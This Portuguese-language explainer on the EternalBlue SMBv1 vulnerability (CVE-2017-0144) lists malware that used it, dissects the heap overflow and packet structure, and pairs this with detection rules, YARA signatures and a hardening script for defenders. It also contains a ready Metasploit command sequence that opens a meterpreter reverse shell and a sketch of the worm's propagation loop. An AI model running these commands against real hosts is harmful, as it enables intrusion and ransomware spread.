
CVE-2017-0144

"Um exploit. Dezenas de famílias de malware. Bilhões em danos."
CVE-2017-0144 é uma vulnerabilidade crítica de execução remota de código na implementação do servidor SMBv1 no Microsoft Windows. O exploit conhecido como EternalBlue abusou dessa falha e foi usado em ataques de alto impacto (notadamente WannaCry).
| # | Malware | Tipo | Primeira Aparição | Ator | Danos | Observações |
|---|
| 1 | WannaCry | Ransomware | 12 de maio de 2017 | Grupo Lazarus (Coreia do Norte) | US$ 4–8 bilhões | Killswitch: iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com |
| 2 | NotPetya | Wiper (disfarçado de Ransomware) | 27 de junho de 2017 | Sandworm (Rússia) | US$ 10+ bilhões | Usou Mimikatz + EternalBlue + PSEXEC |
| 3 | Bad Rabbit | Ransomware | 24 de outubro de 2017 | Indrik Spider | Regional | Fake Flash update drive-by |
| 4 | Uiwix | Ransomware | maio de 2017 | Desconhecido | Baixo | Sem killswitch, mais furtivo que WannaCry |
| 5 | EternalRocks | Worm | maio de 2017 | Desconhecido | Médio | 7 ferramentas da NSA (incluindo DoublePulsar) |
| 6 | Adylkuzz | Cryptominer | maio de 2017 | Desconhecido | Alto (silencioso) | Minerou Monero antes do WannaCry |
| 7 | Retefe | Trojan Bancário | 2017–2018 | Desconhecido | Bancos da UE | Usou EternalBlue para movimento lateral |
| 8 | TrickBot | Malware Modular | 2017–2021 | Wizard Spider | Global | Distribuiu Ryuk via EternalBlue |
| 9 | Emotet | Loader | 2017–2021 | TA542 | Global | Usado como porta de entrada para Cobalt Strike |
| 10 | Clop / Dridex | Ransomware | 2019–2025 | TA505 | Saúde, Governo | Ainda ativo em 2025 |

| Ferramenta | Lançamento | Recursos |
|---|---|---|
| EternalBlue (Original) | Abril de 2017 (Shadow Brokers) | RCE no SMBv1 |
| DoublePulsar | Abril de 2017 | Implantação de backdoor (ring0) |
| EternalRomance | Abril de 2017 | Variante para SMBv3 |
| EternalChampion | Abril de 2017 | Caminho alternativo SMB |
| Módulo Metasploit | Maio de 2017 | exploit/windows/smb/ms17_010_eternalblue |
| FuzzBunch | Abril de 2017 | Framework de exploits da NSA |
| Impacket + PSEXEC | 2017–2025 | Exploração SMB em Python |

"Um pacote malformado. Acesso total ao SYSTEM. Sem login. Sem clique."
[Atacante]
│
├──▶ Envia requisição **Trans2** SMBv1 manipulada
│ → Dispara **estouro de heap** em `srv!SrvOS2FeaListSizeToNt`
│
├──▶ Sobrescreve ponteiros de função → **shellcode no kernel**
│
└──▶ Executa backdoor **DoublePulsar** → **Payload em Ring-0**
(ex.: WannaCry `mssecsvc.exe`)
| Requisito | Detalhes |
|---|---|
| Alvo | Windows com SMBv1 habilitado (padrão pré-Win10) |
| Porta Aberta | 445/TCP (ou 139/TCP via NetBIOS) |
| Sem Autenticação | Não autenticado — sem necessidade de usuário/senha |
| Arquitetura | x86 ou x64 (ambos suportados) |
| Status do Patch | Sem patch (pré-MS17-010) |
SMB_COM_NEGOTIATE → Cliente envia lista de dialetos
Servidor responde: SMBv1 suportado → Prosseguir
Por quê? Confirma que o SMBv1 está ativo.

\\ALVO\IPC$ → Compartilhamento anônimo para pipes SMB
Propósito: Estabelece uma sessão para enviar requisições de transação.
SESSION_SETUPFEALIST {
SizeOfListInBytes = 0xFFFF (ou valor grande)
...
}
Gatilho do Bug:
SrvOS2FeaListSizeToNt()confia nesse tamanho sem verificação de limites.

FEA {
AttributeNameLength = 0x00
AttributeName = "A" * 0x1000 → Estoura o buffer
}
Heap Spray: Aloca grandes blocos para controlar o layout da memória.
srv!SrvOS2FeaListSizeToNt(
PFEALIST FeaList, // controlado pelo atacante
PULONG pNtFeaListSize // ponteiro de saída
)
{
// Sem validação de FeaList->SizeOfListInBytes
memcpy(dest, src, FeaList->SizeOfListInBytes); // BOOM
}
Free)KeUserModeCallback)mssecsvc.exe)
0x00120034)Ping: 0x0002C001Exec: 0x0002C002 + payloadExemplo do WannaCry:
EternalBlue → DoublePulsar → mssecsvc.exe → tasksche.exe → Criptografa arquivos
Cabeçalho SMB
└── Comando: 0x32 (TRANSACTION2)
└── Setup: 0x000E (SESSION_SETUP)
└── Parâmetro: TotalDataCount = 0x1000
└── Dados:
[FEALIST]
SizeOfListInBytes = 0x1100
[FEA #1] NameLen=0, Name="A"*0x1000
[FEA #2] ...
[GROOM x100] → Pulveriza heap
[OVERFLOW] → Sobrescreve pool
[SHELLCODE] → ring0 x64
| Ferramenta | Linguagem | Módulo |
|---|---|---|
| Metasploit | Ruby | exploit/windows/smb/ms17_010_eternalblue |
| Impacket | Python | smbclient.py, psexec.py |
| FuzzBunch | Python (NSA) | EternalBlue-2.2.0 |
| C2 Personalizado | C/C++ | WannaCry, NotPetya |
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit
| Artefato | Localização | Valor |
|---|---|---|
| DoublePulsar | Memória do kernel | Chave XOR 0x00120034 |
| Shellcode | Pool do srvnet.sys | Padrão 0xCC 0x90 0x48 |
| DLL injetada | C:\Windows\mssecsvc.exe | SHA256: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa |
alert tcp any any -> $HOME_NET 445 (
msg:"TENTATIVA ETERNALBLUE";
flow:to_server,established;
content:"|ff|SMB2"; depth:5;
content:"|00 04 08 00|"; distance:100; within:4;
classtype:attempted-admin;
sid:1000001;
)
event smb1_transaction2_secondary(c: connection, hdr: SMB1::Header, args: SMB1::Trans2_Secondary_Args) {
if (args$data_len > 4096) {
NOTICE([$note=SMB::Large_Trans2_Data, $conn=c]);
}
}
while (true) {
Escaneia rede pela porta 445
if (aberta) → exploit EternalBlue
if (sucesso) → Drop mssecsvc.exe + propaga
Sleep(random(1000, 5000))
}
Velocidade de propagação: ~10.000 infecções/hora globalmente.
| Fator | Motivo |
|---|---|
| Sem Autenticação | SMBv1 permite IPC$ anônimo |
| Capacidade de Worm | Escaneamento de LAN embutido |
| RCE no Kernel | Ignora AV/prompts do usuário |
| SMBv1 Legado | Habilitado por padrão por mais de 15 anos |
| Sistemas sem Patch | XP, 2003, 7 em infraestrutura crítica |
| Ano | % Sucesso (Sem Patch) |
|---|---|
| 2017 | 99% |
| 2020 | 85% |
| 2025 | ~60% (apenas legados) |
Ainda funciona em Windows 7/2008 R2 sem MS17-010
EternalBlue = Erro Matemático Armamentizado
Um campo de tamanho confiável no SMB → estouro de heap no kernel → código arbitrário → pandemia global de ransomware
Pacote SMB → Estouro de Buffer → Shellcode no Kernel → DoublePulsar → Malware
Visualizado, dissecado e testado em batalha. Para pentesters, equipes de IR e defensores.
"Um pacote. Uma porta. Um império cai."
| SO | KB Patch | Desabilitar SMBv1 | Script Nmap |
|---|---|---|---|
| Windows 7 / 2008 R2 | KB4012212 | sc config lanmanworkstation depend= bowser/mrxsmb20/nsi | smb-vuln-ms17-010.nse |
| Windows 10 | KB4013429 | PowerShell: Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol | |
| Windows XP (Fim da vida) | KB4012598 (Emergencial) | Registro: HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\SMB1 = 0 |

rule WannaCry_Ransomware {
strings:
$mz = { 4d 5a }
$s1 = "WannaDecryptor" wide
$s2 = "tasksche.exe"
$s3 = "@WANA" ascii
$encrypt = { 57 61 6E 61 43 72 79 70 74 30 72 }
condition:
$mz at 0 and 2 of ($s*)
}

rule NotPetya_Wiper {
strings:
$pdb = "perfc.dat" nocase
$dll = "dllhost.dat"
$mof = "ntdevmgr.vbs"
$mimikatz = "mimikatz"
condition:
uint16(0) == 0x5A4D and 2 of them
}


rule EternalBlue_SMB_Exploit {
strings:
$smb_negotiate = { 00 00 00 ?? ff 53 4d 42 72 00 }
$tree_connect = { 00 00 00 ?? ff 53 4d 42 75 00 }
$trans2 = { 00 00 00 ?? ff 53 4d 42 32 00 }
$overflow = { 00 04 08 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? }
condition:
all of them
}
| Métrica | Status |
|---|---|
| SMBv1 Exposto no Shodan | ~1,2 milhão (Novembro de 2025) |
| Exploits Ativos (Honeypots) | Diário |
| Ransomware Usando-o | Clop, LockBit (alvos legados) |
| Mais Vulneráveis | Saúde, Indústria, PMEs |
| Solução Zero Trust | Bloquear 445, aplicar MFA, EDR |
| Fase | Técnica | ID |
|---|---|---|
| Acesso Inicial | Explorar Aplicação Pública | T1190 |
| Execução | RCE via SMB Windows | T1210 |
| Persistência | Backdoor via DoublePulsar | T1505.003 |
| Movimento Lateral | Compartilhamentos Admin SMB/Windows | T1021.002 |
| Impacto | Dados Criptografados para Impacto | T1486 |
# === SCRIPT DE HARDENING CONTRA ETERNALBLUE ===
Write-Host "Aplicando mitigações do EternalBlue..." -ForegroundColor Cyan
# 1. Desabilitar SMBv1
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart
# 2. Bloquear porta 445
New-NetFirewallRule -DisplayName "Bloquear SMB Entrada" -Direction Inbound -Action Block -Protocol TCP -LocalPort 445
# 3. Habilitar Assinatura SMB
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature" -Value 1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" -Name "RequireSecuritySignature" -Value 1
# 4. Verificar Patch
$patch = Get-HotFix -Id KB4012212 -ErrorAction SilentlyContinue
if ($patch) { Write-Host "Corrigido!" -ForegroundColor Green } else { Write-Host "SEM CORREÇÃO!" -ForegroundColor Red }
Write-Host "Reinicialização necessária. Execute como Admin."
| Fonte | Link |
|---|---|
| NVD | nvd.nist.gov/vuln/detail/CVE-2017-0144 |
| Microsoft MS17-010 | msrc.microsoft.com/update-guide |
| MITRE ATT&CK | attack.mitre.org/techniques/T1210 |
| Relatório CrowdStrike WannaCry | crowdstrike.com/blog/wannacry |
| Kaspersky EternalBlue | kaspersky.com/blog/wannacry-ransomware |
| Pesquisa Shodan | shodan.io/search?query=port%3A445+os%3A%22Windows%22 |
CVE-2017-0144 não está morto — é um zumbi legado.
Ele prospera em:
- Windows 7/2008 sem patch
- TI Sombra
- Sistemas críticos isolados
- VMs em nuvem mal configuradas
Se você consegue pingar a porta 445 da internet — você é o próximo.
Construído com precisão, visuais e inteligência de ameaças do mundo real. Atualizado em Novembro de 2025.
Para laboratórios de pentest, playbooks de IR ou briefings de CISO.
"Corrija. Bloqueie. Mate com fogo."